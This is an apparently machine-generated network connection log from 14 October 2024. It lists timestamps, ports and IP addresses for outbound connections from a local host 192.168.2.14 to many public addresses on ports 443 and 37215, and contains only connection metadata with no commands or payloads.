Oct 14, 2024 17:34:10.869636059 CEST	37215	29625	197.188.169.91	192.168.2.14
Oct 14, 2024 17:34:10.869641066 CEST	29631	443	192.168.2.14	202.34.143.117
Oct 14, 2024 17:34:10.869643927 CEST	29631	443	192.168.2.14	118.51.95.187
Oct 14, 2024 17:34:10.869643927 CEST	29631	443	192.168.2.14	202.13.92.107
Oct 14, 2024 17:34:10.869645119 CEST	37215	29625	41.127.162.100	192.168.2.14
Oct 14, 2024 17:34:10.869647980 CEST	29631	443	192.168.2.14	178.87.177.147
Oct 14, 2024 17:34:10.869648933 CEST	29631	443	192.168.2.14	37.90.53.104
Oct 14, 2024 17:34:10.869651079 CEST	29631	443	192.168.2.14	37.88.143.37
Oct 14, 2024 17:34:10.869652033 CEST	29631	443	192.168.2.14	148.179.30.160
Oct 14, 2024 17:34:10.869652033 CEST	29631	443	192.168.2.14	109.238.5.117
Oct 14, 2024 17:34:10.869653940 CEST	37215	29625	41.110.62.37	192.168.2.14
Oct 14, 2024 17:34:10.869653940 CEST	29631	443	192.168.2.14	5.158.200.176
Oct 14, 2024 17:34:10.869653940 CEST	29631	443	192.168.2.14	79.68.130.229
Oct 14, 2024 17:34:10.869654894 CEST	29631	443	192.168.2.14	118.242.42.237
Oct 14, 2024 17:34:10.869654894 CEST	29631	443	192.168.2.14	5.148.222.245
Oct 14, 2024 17:34:10.869657040 CEST	29631	443	192.168.2.14	5.24.104.174
Oct 14, 2024 17:34:10.869663000 CEST	37215	29625	156.78.44.143	192.168.2.14
Oct 14, 2024 17:34:10.869668961 CEST	29631	443	192.168.2.14	123.216.252.23
Oct 14, 2024 17:34:10.869672060 CEST	29631	443	192.168.2.14	42.215.85.0
Oct 14, 2024 17:34:10.869673014 CEST	37215	29625	156.204.250.32	192.168.2.14
Oct 14, 2024 17:34:10.869676113 CEST	29631	443	192.168.2.14	210.119.54.255
Oct 14, 2024 17:34:10.869678020 CEST	29631	443	192.168.2.14	5.51.144.148
Oct 14, 2024 17:34:10.869678020 CEST	29631	443	192.168.2.14	210.169.165.89
Oct 14, 2024 17:34:10.869678974 CEST	29631	443	192.168.2.14	123.221.117.189
Oct 14, 2024 17:34:10.869683027 CEST	37215	29625	41.233.132.100	192.168.2.14
Oct 14, 2024 17:34:10.869687080 CEST	29631	443	192.168.2.14	123.77.51.247
Oct 14, 2024 17:34:10.869687080 CEST	29625	37215	192.168.2.14	41.127.162.100
Oct 14, 2024 17:34:10.869687080 CEST	29631	443	192.168.2.14	42.174.211.137
Oct 14, 2024 17:34:10.869695902 CEST	29631	443	192.168.2.14	117.142.162.62
Oct 14, 2024 17:34:10.869695902 CEST	29631	443	192.168.2.14	2.250.62.61
Oct 14, 2024 17:34:10.869697094 CEST	29625	37215	192.168.2.14	156.232.17.230
Oct 14, 2024 17:34:10.869695902 CEST	29631	443	192.168.2.14	123.74.228.86
Oct 14, 2024 17:34:10.869695902 CEST	29631	443	192.168.2.14	118.111.5.71
Oct 14, 2024 17:34:10.869695902 CEST	29631	443	192.168.2.14	37.113.97.9
Oct 14, 2024 17:34:10.869695902 CEST	29625	37215	192.168.2.14	197.188.169.91
Oct 14, 2024 17:34:10.869702101 CEST	29631	443	192.168.2.14	42.251.202.174
Oct 14, 2024 17:34:10.869695902 CEST	29631	443	192.168.2.14	109.87.252.145
Oct 14, 2024 17:34:10.869702101 CEST	29631	443	192.168.2.14	94.143.215.58
Oct 14, 2024 17:34:10.869695902 CEST	29631	443	192.168.2.14	148.244.149.201
Oct 14, 2024 17:34:10.869702101 CEST	29631	443	192.168.2.14	210.196.201.234
Oct 14, 2024 17:34:10.869695902 CEST	29631	443	192.168.2.14	94.204.78.189
Oct 14, 2024 17:34:10.869710922 CEST	29631	443	192.168.2.14	212.144.146.89
Oct 14, 2024 17:34:10.869710922 CEST	29631	443	192.168.2.14	148.126.172.66
Oct 14, 2024 17:34:10.869724989 CEST	29625	37215	192.168.2.14	41.110.62.37
Oct 14, 2024 17:34:10.869726896 CEST	29631	443	192.168.2.14	123.154.201.237
Oct 14, 2024 17:34:10.869726896 CEST	29631	443	192.168.2.14	79.125.132.22
Oct 14, 2024 17:34:10.869726896 CEST	29631	443	192.168.2.14	202.254.186.248
Oct 14, 2024 17:34:10.869728088 CEST	29631	443	192.168.2.14	94.20.3.57
Oct 14, 2024 17:34:10.869726896 CEST	29631	443	192.168.2.14	123.239.202.26
Oct 14, 2024 17:34:10.869729042 CEST	29631	443	192.168.2.14	118.222.37.115
Oct 14, 2024 17:34:10.869729042 CEST	29631	443	192.168.2.14	79.156.58.160
Oct 14, 2024 17:34:10.869729996 CEST	29631	443	192.168.2.14	2.212.48.136
Oct 14, 2024 17:34:10.869729996 CEST	29631	443	192.168.2.14	202.125.132.71
Oct 14, 2024 17:34:10.869729996 CEST	29631	443	192.168.2.14	109.213.46.255
Oct 14, 2024 17:34:10.869729996 CEST	29631	443	192.168.2.14	5.33.78.14
Oct 14, 2024 17:34:10.869729996 CEST	29631	443	192.168.2.14	42.236.20.53
Oct 14, 2024 17:34:10.869729996 CEST	29625	37215	192.168.2.14	156.78.44.143
Oct 14, 2024 17:34:10.869729996 CEST	29631	443	192.168.2.14	212.203.45.58
Oct 14, 2024 17:34:10.869743109 CEST	29631	443	192.168.2.14	117.229.91.99
Oct 14, 2024 17:34:10.869745970 CEST	29631	443	192.168.2.14	5.195.63.199
Oct 14, 2024 17:34:10.869745970 CEST	29631	443	192.168.2.14	212.14.127.238
Oct 14, 2024 17:34:10.869746923 CEST	29631	443	192.168.2.14	2.175.190.50
Oct 14, 2024 17:34:10.869746923 CEST	29625	37215	192.168.2.14	156.204.250.32
Oct 14, 2024 17:34:10.869748116 CEST	29631	443	192.168.2.14	42.114.23.193
Oct 14, 2024 17:34:10.869750023 CEST	29631	443	192.168.2.14	212.23.55.25
Oct 14, 2024 17:34:10.869754076 CEST	29625	37215	192.168.2.14	41.233.132.100
Oct 14, 2024 17:34:10.869756937 CEST	29631	443	192.168.2.14	210.107.128.54
Oct 14, 2024 17:34:10.869756937 CEST	29631	443	192.168.2.14	42.62.121.223
Oct 14, 2024 17:34:10.869762897 CEST	29631	443	192.168.2.14	202.50.54.92
Oct 14, 2024 17:34:10.869764090 CEST	29631	443	192.168.2.14	148.255.189.15
Oct 14, 2024 17:34:10.869764090 CEST	29631	443	192.168.2.14	118.33.173.140
Oct 14, 2024 17:34:10.869764090 CEST	29631	443	192.168.2.14	178.15.106.205
Oct 14, 2024 17:34:10.869775057 CEST	29631	443	192.168.2.14	2.228.44.73
Oct 14, 2024 17:34:10.869776964 CEST	29631	443	192.168.2.14	148.21.237.94
Oct 14, 2024 17:34:10.869776964 CEST	29631	443	192.168.2.14	212.24.59.134
Oct 14, 2024 17:34:10.869781017 CEST	29631	443	192.168.2.14	123.208.243.142
Oct 14, 2024 17:34:10.869781017 CEST	29631	443	192.168.2.14	210.38.70.136
Oct 14, 2024 17:34:10.869782925 CEST	29631	443	192.168.2.14	2.192.159.189
Oct 14, 2024 17:34:10.869784117 CEST	29631	443	192.168.2.14	42.153.170.219
Oct 14, 2024 17:34:10.869798899 CEST	29631	443	192.168.2.14	148.170.220.218
Oct 14, 2024 17:34:10.869798899 CEST	29631	443	192.168.2.14	79.32.67.164
Oct 14, 2024 17:34:10.869802952 CEST	29631	443	192.168.2.14	123.87.161.253
Oct 14, 2024 17:34:10.869802952 CEST	29631	443	192.168.2.14	123.66.246.1
Oct 14, 2024 17:34:10.869802952 CEST	29631	443	192.168.2.14	109.175.227.169
Oct 14, 2024 17:34:10.869813919 CEST	29631	443	192.168.2.14	2.166.208.91
Oct 14, 2024 17:34:10.869815111 CEST	29631	443	192.168.2.14	117.19.211.202
Oct 14, 2024 17:34:10.869817019 CEST	29631	443	192.168.2.14	202.189.53.246
Oct 14, 2024 17:34:10.869817019 CEST	29631	443	192.168.2.14	37.97.1.224
Oct 14, 2024 17:34:10.869817019 CEST	29631	443	192.168.2.14	178.175.200.123
Oct 14, 2024 17:34:10.869817019 CEST	29631	443	192.168.2.14	202.87.46.102
Oct 14, 2024 17:34:10.869817019 CEST	29631	443	192.168.2.14	178.242.207.212
Oct 14, 2024 17:34:10.869818926 CEST	29631	443	192.168.2.14	148.132.187.107
Oct 14, 2024 17:34:10.869832993 CEST	29631	443	192.168.2.14	79.87.39.199
Oct 14, 2024 17:34:10.869836092 CEST	29631	443	192.168.2.14	118.200.47.233
Oct 14, 2024 17:34:10.869837046 CEST	29631	443	192.168.2.14	5.25.71.131
Oct 14, 2024 17:34:10.869837046 CEST	29631	443	192.168.2.14	79.210.208.187
Oct 14, 2024 17:34:10.869837999 CEST	29631	443	192.168.2.14	123.238.40.9
Oct 14, 2024 17:34:10.869837999 CEST	29631	443	192.168.2.14	123.38.100.161
Oct 14, 2024 17:34:10.869838953 CEST	29631	443	192.168.2.14	212.161.254.16
Oct 14, 2024 17:34:10.869838953 CEST	29631	443	192.168.2.14	37.237.52.113
Oct 14, 2024 17:34:10.869851112 CEST	29631	443	192.168.2.14	42.184.225.119
Oct 14, 2024 17:34:10.869854927 CEST	29631	443	192.168.2.14	202.185.8.84
Oct 14, 2024 17:34:10.869858980 CEST	29631	443	192.168.2.14	202.162.134.235
Oct 14, 2024 17:34:10.869858980 CEST	29631	443	192.168.2.14	79.178.142.228
Oct 14, 2024 17:34:10.869859934 CEST	29631	443	192.168.2.14	210.89.37.208
Oct 14, 2024 17:34:10.869859934 CEST	29631	443	192.168.2.14	5.77.136.239
Oct 14, 2024 17:34:10.869859934 CEST	29631	443	192.168.2.14	117.32.173.3
Oct 14, 2024 17:34:10.869863987 CEST	29631	443	192.168.2.14	5.199.71.79
Oct 14, 2024 17:34:10.869863987 CEST	29631	443	192.168.2.14	202.139.154.224
Oct 14, 2024 17:34:10.869885921 CEST	29631	443	192.168.2.14	94.188.159.237
Oct 14, 2024 17:34:10.869885921 CEST	37215	29625	156.234.246.54	192.168.2.14
Oct 14, 2024 17:34:10.869885921 CEST	29631	443	192.168.2.14	123.116.177.75
Oct 14, 2024 17:34:10.869887114 CEST	29631	443	192.168.2.14	5.65.246.101
Oct 14, 2024 17:34:10.869885921 CEST	29631	443	192.168.2.14	37.63.194.19
Oct 14, 2024 17:34:10.869887114 CEST	29631	443	192.168.2.14	79.204.138.12
Oct 14, 2024 17:34:10.869889021 CEST	29631	443	192.168.2.14	109.242.36.221
Oct 14, 2024 17:34:10.869887114 CEST	29631	443	192.168.2.14	123.244.198.184
Oct 14, 2024 17:34:10.869887114 CEST	29631	443	192.168.2.14	118.150.99.245
Oct 14, 2024 17:34:10.869887114 CEST	29631	443	192.168.2.14	5.204.94.167
Oct 14, 2024 17:34:10.869896889 CEST	37215	29625	156.162.158.78	192.168.2.14
Oct 14, 2024 17:34:10.869896889 CEST	29631	443	192.168.2.14	94.168.254.136
Oct 14, 2024 17:34:10.869896889 CEST	29631	443	192.168.2.14	109.239.11.228
Oct 14, 2024 17:34:10.869896889 CEST	29631	443	192.168.2.14	117.45.196.246
Oct 14, 2024 17:34:10.869896889 CEST	29631	443	192.168.2.14	178.59.129.198
Oct 14, 2024 17:34:10.869896889 CEST	29631	443	192.168.2.14	202.162.153.138
Oct 14, 2024 17:34:10.869896889 CEST	29631	443	192.168.2.14	148.60.75.58
Oct 14, 2024 17:34:10.869901896 CEST	37215	29625	41.2.102.26	192.168.2.14
Oct 14, 2024 17:34:10.869904041 CEST	29631	443	192.168.2.14	178.12.103.176
Oct 14, 2024 17:34:10.869904995 CEST	29631	443	192.168.2.14	148.8.166.14
Oct 14, 2024 17:34:10.869904995 CEST	29631	443	192.168.2.14	42.67.87.103
Oct 14, 2024 17:34:10.869904995 CEST	29631	443	192.168.2.14	178.216.112.147
Oct 14, 2024 17:34:10.869908094 CEST	29631	443	192.168.2.14	178.6.62.180
Oct 14, 2024 17:34:10.869908094 CEST	29631	443	192.168.2.14	37.88.228.133
Oct 14, 2024 17:34:10.869908094 CEST	29631	443	192.168.2.14	212.240.68.69
Oct 14, 2024 17:34:10.869909048 CEST	29631	443	192.168.2.14	123.43.30.31
Oct 14, 2024 17:34:10.869908094 CEST	29631	443	192.168.2.14	178.20.176.105
Oct 14, 2024 17:34:10.869909048 CEST	29631	443	192.168.2.14	109.84.230.128
Oct 14, 2024 17:34:10.869908094 CEST	29631	443	192.168.2.14	117.45.241.64
Oct 14, 2024 17:34:10.869909048 CEST	29631	443	192.168.2.14	148.78.94.122
Oct 14, 2024 17:34:10.869908094 CEST	29631	443	192.168.2.14	79.172.111.113
Oct 14, 2024 17:34:10.869909048 CEST	29631	443	192.168.2.14	118.131.56.128
Oct 14, 2024 17:34:10.869914055 CEST	37215	29625	156.116.187.94	192.168.2.14
Oct 14, 2024 17:34:10.869920015 CEST	29631	443	192.168.2.14	210.214.80.215
Oct 14, 2024 17:34:10.869920015 CEST	29631	443	192.168.2.14	212.244.172.30
Oct 14, 2024 17:34:10.869920969 CEST	29631	443	192.168.2.14	118.108.37.84
Oct 14, 2024 17:34:10.869920969 CEST	29631	443	192.168.2.14	109.111.113.216
Oct 14, 2024 17:34:10.869921923 CEST	29631	443	192.168.2.14	5.198.128.179
Oct 14, 2024 17:34:10.869923115 CEST	37215	29625	197.201.248.89	192.168.2.14
Oct 14, 2024 17:34:10.869929075 CEST	29631	443	192.168.2.14	178.203.151.243
Oct 14, 2024 17:34:10.869932890 CEST	37215	29625	41.142.32.122	192.168.2.14
Oct 14, 2024 17:34:10.869940996 CEST	29631	443	192.168.2.14	109.2.224.62
Oct 14, 2024 17:34:10.869941950 CEST	37215	29625	41.238.57.188	192.168.2.14
Oct 14, 2024 17:34:10.869951010 CEST	29625	37215	192.168.2.14	156.234.246.54
Oct 14, 2024 17:34:10.869951963 CEST	37215	29625	41.77.204.130	192.168.2.14
Oct 14, 2024 17:34:10.869956970 CEST	37215	29625	156.122.56.221	192.168.2.14
Oct 14, 2024 17:34:10.869956970 CEST	29631	443	192.168.2.14	109.34.105.175
Oct 14, 2024 17:34:10.869959116 CEST	29631	443	192.168.2.14	210.165.204.84
Oct 14, 2024 17:34:10.869959116 CEST	29631	443	192.168.2.14	210.190.197.82
Oct 14, 2024 17:34:10.869959116 CEST	29631	443	192.168.2.14	37.255.84.178
Oct 14, 2024 17:34:10.869959116 CEST	29625	37215	192.168.2.14	41.2.102.26
Oct 14, 2024 17:34:10.869961023 CEST	29631	443	192.168.2.14	94.18.246.45
Oct 14, 2024 17:34:10.869961977 CEST	29631	443	192.168.2.14	123.143.148.212
Oct 14, 2024 17:34:10.869961977 CEST	29631	443	192.168.2.14	202.175.114.43
Oct 14, 2024 17:34:10.869966030 CEST	37215	29625	156.198.242.156	192.168.2.14
Oct 14, 2024 17:34:10.869968891 CEST	29631	443	192.168.2.14	210.101.41.140
Oct 14, 2024 17:34:10.869973898 CEST	29631	443	192.168.2.14	118.161.104.152
Oct 14, 2024 17:34:10.869976044 CEST	37215	29625	41.137.224.91	192.168.2.14
Oct 14, 2024 17:34:10.869976997 CEST	29631	443	192.168.2.14	123.25.238.4
Oct 14, 2024 17:34:10.869985104 CEST	37215	29625	197.68.103.9	192.168.2.14
Oct 14, 2024 17:34:10.869987965 CEST	29631	443	192.168.2.14	42.172.219.108
Oct 14, 2024 17:34:10.869987965 CEST	29625	37215	192.168.2.14	156.162.158.78
Oct 14, 2024 17:34:10.869987965 CEST	29631	443	192.168.2.14	210.28.157.66
Oct 14, 2024 17:34:10.869987965 CEST	29631	443	192.168.2.14	178.222.134.200
Oct 14, 2024 17:34:10.869993925 CEST	37215	29625	197.163.33.71	192.168.2.14
Oct 14, 2024 17:34:10.869997025 CEST	29631	443	192.168.2.14	79.226.103.19
Oct 14, 2024 17:34:10.869997025 CEST	29631	443	192.168.2.14	42.190.128.122
Oct 14, 2024 17:34:10.869997025 CEST	29631	443	192.168.2.14	109.167.28.67
Oct 14, 2024 17:34:10.869997025 CEST	29631	443	192.168.2.14	2.184.160.106
Oct 14, 2024 17:34:10.869997025 CEST	29631	443	192.168.2.14	37.135.48.141
Oct 14, 2024 17:34:10.869997978 CEST	29625	37215	192.168.2.14	41.142.32.122
Oct 14, 2024 17:34:10.870002985 CEST	29631	443	192.168.2.14	42.137.131.228
Oct 14, 2024 17:34:10.870002985 CEST	29631	443	192.168.2.14	148.153.237.137
Oct 14, 2024 17:34:10.870003939 CEST	37215	29625	41.71.139.31	192.168.2.14
Oct 14, 2024 17:34:10.870002985 CEST	29625	37215	192.168.2.14	197.201.248.89
Oct 14, 2024 17:34:10.870002985 CEST	29631	443	192.168.2.14	118.96.80.144
Oct 14, 2024 17:34:10.870003939 CEST	29631	443	192.168.2.14	117.30.128.37
Oct 14, 2024 17:34:10.870002985 CEST	29631	443	192.168.2.14	210.231.6.129
Oct 14, 2024 17:34:10.870002985 CEST	29631	443	192.168.2.14	2.71.58.120
Oct 14, 2024 17:34:10.870011091 CEST	29631	443	192.168.2.14	79.98.136.107
Oct 14, 2024 17:34:10.870002985 CEST	29631	443	192.168.2.14	123.123.35.200
Oct 14, 2024 17:34:10.870004892 CEST	29631	443	192.168.2.14	94.27.168.107
Oct 14, 2024 17:34:10.870004892 CEST	29631	443	192.168.2.14	212.16.112.28
Oct 14, 2024 17:34:10.870004892 CEST	29631	443	192.168.2.14	210.229.200.93
Oct 14, 2024 17:34:10.870002985 CEST	29631	443	192.168.2.14	212.60.54.40
Oct 14, 2024 17:34:10.870004892 CEST	29631	443	192.168.2.14	148.8.121.218
Oct 14, 2024 17:34:10.870011091 CEST	29631	443	192.168.2.14	123.1.126.220
Oct 14, 2024 17:34:10.870004892 CEST	29625	37215	192.168.2.14	156.116.187.94
Oct 14, 2024 17:34:10.870004892 CEST	29631	443	192.168.2.14	109.176.111.112
Oct 14, 2024 17:34:10.870017052 CEST	37215	29625	156.55.128.119	192.168.2.14
Oct 14, 2024 17:34:10.870004892 CEST	29631	443	192.168.2.14	2.203.188.237
Oct 14, 2024 17:34:10.870011091 CEST	29631	443	192.168.2.14	37.206.255.244
Oct 14, 2024 17:34:10.870028019 CEST	29631	443	192.168.2.14	5.31.157.15
Oct 14, 2024 17:34:10.870028019 CEST	29631	443	192.168.2.14	117.82.207.251
Oct 14, 2024 17:34:10.870028019 CEST	29631	443	192.168.2.14	202.162.6.174
Oct 14, 2024 17:34:10.870028019 CEST	29625	37215	192.168.2.14	197.68.103.9
Oct 14, 2024 17:34:10.870029926 CEST	29631	443	192.168.2.14	123.17.230.37
Oct 14, 2024 17:34:10.870029926 CEST	37215	29625	197.72.129.118	192.168.2.14
Oct 14, 2024 17:34:10.870029926 CEST	29631	443	192.168.2.14	123.239.106.253
Oct 14, 2024 17:34:10.870029926 CEST	29631	443	192.168.2.14	202.192.133.137
Oct 14, 2024 17:34:10.870032072 CEST	29631	443	192.168.2.14	42.51.52.206
Oct 14, 2024 17:34:10.870032072 CEST	29631	443	192.168.2.14	117.112.167.175
Oct 14, 2024 17:34:10.870032072 CEST	29631	443	192.168.2.14	118.248.57.74
Oct 14, 2024 17:34:10.870033026 CEST	29631	443	192.168.2.14	79.183.162.88
Oct 14, 2024 17:34:10.870033026 CEST	29631	443	192.168.2.14	94.6.139.194
Oct 14, 2024 17:34:10.870033026 CEST	29631	443	192.168.2.14	212.214.20.126
Oct 14, 2024 17:34:10.870033026 CEST	29631	443	192.168.2.14	178.158.75.107
Oct 14, 2024 17:34:10.870039940 CEST	37215	29625	197.213.192.4	192.168.2.14
Oct 14, 2024 17:34:10.870049000 CEST	37215	29625	41.109.31.13	192.168.2.14
Oct 14, 2024 17:34:10.870053053 CEST	29631	443	192.168.2.14	37.69.27.112
Oct 14, 2024 17:34:10.870053053 CEST	29631	443	192.168.2.14	123.85.241.47
Oct 14, 2024 17:34:10.870053053 CEST	29625	37215	192.168.2.14	41.238.57.188
Oct 14, 2024 17:34:10.870053053 CEST	29631	443	192.168.2.14	94.218.182.23
Oct 14, 2024 17:34:10.870057106 CEST	29625	37215	192.168.2.14	156.198.242.156
Oct 14, 2024 17:34:10.870058060 CEST	29631	443	192.168.2.14	118.236.1.60
Oct 14, 2024 17:34:10.870058060 CEST	29631	443	192.168.2.14	79.127.14.50
Oct 14, 2024 17:34:10.870058060 CEST	29625	37215	192.168.2.14	156.122.56.221
Oct 14, 2024 17:34:10.870058060 CEST	37215	29625	41.250.122.214	192.168.2.14
Oct 14, 2024 17:34:10.870058060 CEST	29625	37215	192.168.2.14	41.137.224.91
Oct 14, 2024 17:34:10.870058060 CEST	29631	443	192.168.2.14	79.148.183.104
Oct 14, 2024 17:34:10.870058060 CEST	29631	443	192.168.2.14	123.230.244.194
Oct 14, 2024 17:34:10.870058060 CEST	29631	443	192.168.2.14	178.172.67.88
Oct 14, 2024 17:34:10.870064020 CEST	37215	29625	197.189.167.43	192.168.2.14
Oct 14, 2024 17:34:10.870064020 CEST	29631	443	192.168.2.14	118.247.53.219
Oct 14, 2024 17:34:10.870064020 CEST	29631	443	192.168.2.14	79.243.237.183
Oct 14, 2024 17:34:10.870066881 CEST	29631	443	192.168.2.14	123.85.53.137
Oct 14, 2024 17:34:10.870068073 CEST	29625	37215	192.168.2.14	41.77.204.130
Oct 14, 2024 17:34:10.870068073 CEST	37215	29625	156.238.32.106	192.168.2.14
Oct 14, 2024 17:34:10.870068073 CEST	29631	443	192.168.2.14	94.84.61.98
Oct 14, 2024 17:34:10.870068073 CEST	29631	443	192.168.2.14	148.246.176.210
Oct 14, 2024 17:34:10.870069981 CEST	29631	443	192.168.2.14	94.204.135.9
Oct 14, 2024 17:34:10.870069981 CEST	29631	443	192.168.2.14	123.4.109.118
Oct 14, 2024 17:34:10.870069981 CEST	29625	37215	192.168.2.14	197.163.33.71
Oct 14, 2024 17:34:10.870069981 CEST	29631	443	192.168.2.14	5.145.187.27
Oct 14, 2024 17:34:10.870069981 CEST	29631	443	192.168.2.14	118.64.201.23
Oct 14, 2024 17:34:10.870069981 CEST	29631	443	192.168.2.14	5.106.202.193
Oct 14, 2024 17:34:10.870076895 CEST	37215	29625	197.93.141.227	192.168.2.14
Oct 14, 2024 17:34:10.870080948 CEST	29631	443	192.168.2.14	5.124.193.153
Oct 14, 2024 17:34:10.870080948 CEST	29631	443	192.168.2.14	94.77.223.236
Oct 14, 2024 17:34:10.870080948 CEST	29631	443	192.168.2.14	5.172.99.167
Oct 14, 2024 17:34:10.870080948 CEST	29625	37215	192.168.2.14	156.55.128.119
Oct 14, 2024 17:34:10.870085001 CEST	29631	443	192.168.2.14	37.223.35.215
Oct 14, 2024 17:34:10.870089054 CEST	37215	29625	156.231.209.31	192.168.2.14
Oct 14, 2024 17:34:10.870091915 CEST	29631	443	192.168.2.14	94.238.101.220
Oct 14, 2024 17:34:10.870091915 CEST	29625	37215	192.168.2.14	197.213.192.4
Oct 14, 2024 17:34:10.870095968 CEST	29631	443	192.168.2.14	2.109.237.239
Oct 14, 2024 17:34:10.870095968 CEST	29631	443	192.168.2.14	123.140.59.69
Oct 14, 2024 17:34:10.870095968 CEST	29631	443	192.168.2.14	117.216.199.64
Oct 14, 2024 17:34:10.870095968 CEST	29631	443	192.168.2.14	117.0.200.31
Oct 14, 2024 17:34:10.870096922 CEST	29631	443	192.168.2.14	202.155.138.35
Oct 14, 2024 17:34:10.870095968 CEST	29631	443	192.168.2.14	178.166.180.187
Oct 14, 2024 17:34:10.870096922 CEST	29631	443	192.168.2.14	212.41.68.246
Oct 14, 2024 17:34:10.870099068 CEST	29631	443	192.168.2.14	5.18.152.109
Oct 14, 2024 17:34:10.870096922 CEST	29631	443	192.168.2.14	2.46.115.150
Oct 14, 2024 17:34:10.870100975 CEST	37215	29625	197.100.134.223	192.168.2.14
Oct 14, 2024 17:34:10.870099068 CEST	29631	443	192.168.2.14	5.12.61.44
Oct 14, 2024 17:34:10.870096922 CEST	29631	443	192.168.2.14	178.188.11.231
Oct 14, 2024 17:34:10.870099068 CEST	29631	443	192.168.2.14	117.133.129.232
Oct 14, 2024 17:34:10.870099068 CEST	29631	443	192.168.2.14	117.83.69.18
Oct 14, 2024 17:34:10.870110989 CEST	37215	29625	156.62.145.159	192.168.2.14
Oct 14, 2024 17:34:10.870121002 CEST	37215	29625	41.249.149.171	192.168.2.14
Oct 14, 2024 17:34:10.870121002 CEST	29631	443	192.168.2.14	212.252.196.25
Oct 14, 2024 17:34:10.870121956 CEST	29631	443	192.168.2.14	123.132.123.105
Oct 14, 2024 17:34:10.870121956 CEST	29625	37215	192.168.2.14	41.71.139.31
Oct 14, 2024 17:34:10.870121956 CEST	29631	443	192.168.2.14	79.38.44.74
Oct 14, 2024 17:34:10.870121956 CEST	29625	37215	192.168.2.14	197.72.129.118
Oct 14, 2024 17:34:10.870121956 CEST	29625	37215	192.168.2.14	197.189.167.43
Oct 14, 2024 17:34:10.870121956 CEST	29631	443	192.168.2.14	2.22.48.81
Oct 14, 2024 17:34:10.870122910 CEST	29631	443	192.168.2.14	5.249.123.81
Oct 14, 2024 17:34:10.870126963 CEST	29631	443	192.168.2.14	117.235.51.226
Oct 14, 2024 17:34:10.870126963 CEST	29631	443	192.168.2.14	109.39.56.49
Oct 14, 2024 17:34:10.870126963 CEST	29631	443	192.168.2.14	42.32.192.154
Oct 14, 2024 17:34:10.870126963 CEST	29631	443	192.168.2.14	79.125.146.128
Oct 14, 2024 17:34:10.870126963 CEST	29631	443	192.168.2.14	2.230.189.168
Oct 14, 2024 17:34:10.870126963 CEST	29631	443	192.168.2.14	178.147.144.23
Oct 14, 2024 17:34:10.870130062 CEST	37215	29625	41.14.94.120	192.168.2.14
Oct 14, 2024 17:34:10.870132923 CEST	29631	443	192.168.2.14	5.35.177.145
Oct 14, 2024 17:34:10.870126963 CEST	29625	37215	192.168.2.14	197.93.141.227
Oct 14, 2024 17:34:10.870132923 CEST	29631	443	192.168.2.14	5.235.162.158
Oct 14, 2024 17:34:10.870132923 CEST	29631	443	192.168.2.14	37.60.63.85
Oct 14, 2024 17:34:10.870132923 CEST	29631	443	192.168.2.14	210.92.2.61
Oct 14, 2024 17:34:10.870140076 CEST	29631	443	192.168.2.14	42.223.198.69
Oct 14, 2024 17:34:10.870141029 CEST	29631	443	192.168.2.14	109.189.15.65
Oct 14, 2024 17:34:10.870143890 CEST	37215	29625	41.216.249.79	192.168.2.14
Oct 14, 2024 17:34:10.870151043 CEST	29631	443	192.168.2.14	202.147.140.177
Oct 14, 2024 17:34:10.870152950 CEST	37215	29625	41.12.120.203	192.168.2.14
Oct 14, 2024 17:34:10.870157003 CEST	29631	443	192.168.2.14	2.14.4.49
Oct 14, 2024 17:34:10.870157003 CEST	29625	37215	192.168.2.14	156.238.32.106
Oct 14, 2024 17:34:10.870157003 CEST	29631	443	192.168.2.14	5.88.210.211
Oct 14, 2024 17:34:10.870157957 CEST	29625	37215	192.168.2.14	41.250.122.214
Oct 14, 2024 17:34:10.870157957 CEST	29631	443	192.168.2.14	123.132.51.30
Oct 14, 2024 17:34:10.870158911 CEST	29631	443	192.168.2.14	123.49.26.147
Oct 14, 2024 17:34:10.870158911 CEST	29631	443	192.168.2.14	5.240.230.20
Oct 14, 2024 17:34:10.870160103 CEST	29631	443	192.168.2.14	94.114.141.156
Oct 14, 2024 17:34:10.870160103 CEST	29625	37215	192.168.2.14	156.231.209.31
Oct 14, 2024 17:34:10.870160103 CEST	29625	37215	192.168.2.14	197.100.134.223
Oct 14, 2024 17:34:10.870162010 CEST	37215	29625	197.238.36.226	192.168.2.14
Oct 14, 2024 17:34:10.870162010 CEST	29631	443	192.168.2.14	123.67.104.209
Oct 14, 2024 17:34:10.870162964 CEST	29631	443	192.168.2.14	148.190.169.87
Oct 14, 2024 17:34:10.870162964 CEST	29631	443	192.168.2.14	202.78.49.104
Oct 14, 2024 17:34:10.870162964 CEST	29625	37215	192.168.2.14	41.109.31.13
Oct 14, 2024 17:34:10.870162964 CEST	29631	443	192.168.2.14	2.161.57.224
Oct 14, 2024 17:34:10.870162964 CEST	29631	443	192.168.2.14	109.148.1.165
Oct 14, 2024 17:34:10.870162964 CEST	29631	443	192.168.2.14	148.191.122.30
Oct 14, 2024 17:34:10.870162964 CEST	29631	443	192.168.2.14	109.209.154.83
Oct 14, 2024 17:34:10.870163918 CEST	29631	443	192.168.2.14	109.116.161.137
Oct 14, 2024 17:34:10.870163918 CEST	29631	443	192.168.2.14	118.128.217.77
Oct 14, 2024 17:34:10.870167971 CEST	29631	443	192.168.2.14	109.71.238.0
Oct 14, 2024 17:34:10.870167971 CEST	29631	443	192.168.2.14	212.99.8.195
Oct 14, 2024 17:34:10.870167971 CEST	29631	443	192.168.2.14	37.206.137.73
Oct 14, 2024 17:34:10.870167971 CEST	29631	443	192.168.2.14	42.116.203.6
Oct 14, 2024 17:34:10.870171070 CEST	29631	443	192.168.2.14	178.136.132.199
Oct 14, 2024 17:34:10.870182991 CEST	29631	443	192.168.2.14	94.178.255.61
Oct 14, 2024 17:34:10.870183945 CEST	29631	443	192.168.2.14	117.45.102.31
Oct 14, 2024 17:34:10.870184898 CEST	29631	443	192.168.2.14	212.5.158.39
Oct 14, 2024 17:34:10.870186090 CEST	29631	443	192.168.2.14	123.27.107.255
Oct 14, 2024 17:34:10.870183945 CEST	29631	443	192.168.2.14	37.25.243.224
Oct 14, 2024 17:34:10.870186090 CEST	29631	443	192.168.2.14	210.251.202.75
Oct 14, 2024 17:34:10.870186090 CEST	29631	443	192.168.2.14	118.202.97.188
Oct 14, 2024 17:34:10.870184898 CEST	29631	443	192.168.2.14	118.252.221.194
Oct 14, 2024 17:34:10.870186090 CEST	29625	37215	192.168.2.14	41.216.249.79
Oct 14, 2024 17:34:10.870184898 CEST	29631	443	192.168.2.14	5.197.185.204
